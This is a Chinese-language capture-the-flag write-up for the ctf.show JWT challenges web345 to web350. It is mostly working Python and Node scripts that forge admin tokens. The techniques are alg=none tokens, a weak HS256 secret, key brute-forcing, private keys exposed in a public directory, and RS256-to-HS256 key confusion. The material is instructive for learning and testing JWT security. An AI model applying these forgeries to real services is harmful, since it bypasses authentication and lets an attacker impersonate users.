CTFSHOW-jwt

文章发布时间:

最后更新时间:

什么是jwt?
https://xz.aliyun.com/t/2338

  • web345. jwt开始啦
    网络头中包含jwt,且源码提示/admin

    1
    auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Njc0OTE0NjUsImV4cCI6MTY2NzQ5ODY2NSwibmJmIjoxNjY3NDkxNDY1LCJzdWIiOiJ1c2VyIiwianRpIjoiNDhkZmQ5NTQxNjg0MmVmNzk5YzFhZWE0ZGYzMTdhMjkifV0

    解密查看
    image.png
    可以看到前面算法为None,所以可以直接改payload
    user改为admin,然后访问/admin,不过官网不支持算法为None,而且似乎有时间限制,自己写一个(
    不知道为啥,直接不加头才能过。。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # coding=gbk
    import base64
    import requests

    def jwtBase64Encode(x):
    return base64.b64encode(x.encode()).decode()

    url = "http://34d96376-765a-4c54-8260-b8aa2b3877f0.challenge.ctf.show/"

    r = requests.get(url)
    header = r.cookies.get('auth').split('.')[0]+'='
    payload = r.cookies.get('auth').split('.')[1]+'='

    header = base64.b64decode(header).decode()
    payload = '[{"sub": "admin"}]'
    print(payload)
    print(header)
    exp = jwtBase64Encode(payload)
    cookie = {
    'auth': exp
    }
    print(requests.get(url=(url+'admin'), cookies=cookie).text)
  • web346. jwt开始啦
    这道题拿到cookie后解密查看
    image.png{:height 378, :width 606}
    这道题的绕过思路是将alg算法字段设为None
    1
    2
    设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,
    攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    # coding=gbk
    import jwt
    import requests

    payload = {
    "iss": "admin",
    "iat": 1667661864,
    "exp": 1667669064,
    "nbf": 1667661864,
    "sub": "admin",
    "jti": "5e09a625249b8d2b02d937ea6bfc744b"
    }

    header = {
    "alg": "none",
    "typ": "JWT"
    }

    token = jwt.encode(payload, key="", algorithm="none", headers=header)

    url = "http://b3699e0a-d78f-45fe-aea2-6b3f5b1303eb.challenge.ctf.show/admin"
    cookie = {
    'auth': token
    }
    r = requests.get(url, cookies=cookie)
    print(r.text)
  • web347. jwt开始啦 弱口令
    还是先拿到cookie,解密
    image.png
    题目提示了弱口令,加密算法为HS256 对称加密+签名的方式。尝试123456
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    # coding=gbk
    import jwt
    import requests

    payload = {
    "iss": "admin",
    "iat": 1667662665,
    "exp": 1667669865,
    "nbf": 1667662665,
    "sub": "admin",
    "jti": "cd37664abf02e203553e5de2d4d896a0"
    }

    header = {
    "alg": "HS256",
    "typ": "JWT"
    }

    token = jwt.encode(payload, key="123456", algorithm="HS256", headers=header)

    url = "http://c0e181e3-71aa-4a14-9876-73ac6f4c5adc.challenge.ctf.show/admin"
    cookie = {
    'auth': token
    }
    r = requests.get(url, cookies=cookie)
    print(r.text)
  • web348. jwt开始啦 爆破
    拿到cookie,解密
    image.png
    依然是HS256
    利用 c-jwt-cracker 进行爆破
    image.png
    然后同上题代码即可拿到flag
  • web349.
    这次题目还给了代码,审计一波
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    /* GET home page. */
    router.get('/', function(req, res, next) {
    res.type('html');
    var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
    var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
    res.cookie('auth',token);
    res.end('where is flag?');

    });

    router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
    jwt.verify(auth, cert, function(err, decoded) {
    if(decoded.user==='admin'){
    res.end(flag);
    }else{
    res.end('you are not admin');
    }
    });
    });
    其中我们可以看到这次的加密算法时RS256非对称加密,利用私钥进行签名加密,公钥进行解密。特别注意公私钥都放在了/public目录下,我们直接拿到
    image.png
    拿到cookie解密之后也可以映证
    image.png
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    # coding=gbk
    import jwt
    import requests
    private_key = open('/Users/racerz/Desktop/Java Sec/代码审计/OWASP/private.key', 'r').read()
    public_key = open('/Users/racerz/Desktop/Java Sec/代码审计/OWASP/public.key', 'r').read()

    payload = {
    "user": "admin",
    "iat": 1667664490
    }

    header = {
    "alg": "RS256",
    "typ": "JWT"
    }

    token = jwt.encode(payload, key=private_key, algorithm="RS256", headers=header)
    cookies = {
    'auth': token
    }
    url = "http://2ae2702b-ff90-47cb-ad6e-051d09e41025.challenge.ctf.show/"
    r = requests.post(url, cookies=cookies)
    print(r.text)

  • web 350.
    这次给了整套源码,验证cookie的部分没变,不过在public目录下只有公钥文件了
    查看cookie,解密
    image.png
    利用原因:
    1
    2
    3
    此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
    通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,
    我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。
    因为node和python生成jwt的机制不同,所以直接利用node来生成
    1
    2
    3
    4
    5
    6
    var jwt = require('jsonwebtoken');
    var fs = require('fs');

    var publicKey = fs.readFileSync('public/public.key');
    var token = jwt.sign({ user: 'admin' }, publicKey, { algorithm: 'HS256' });
    console.log(token)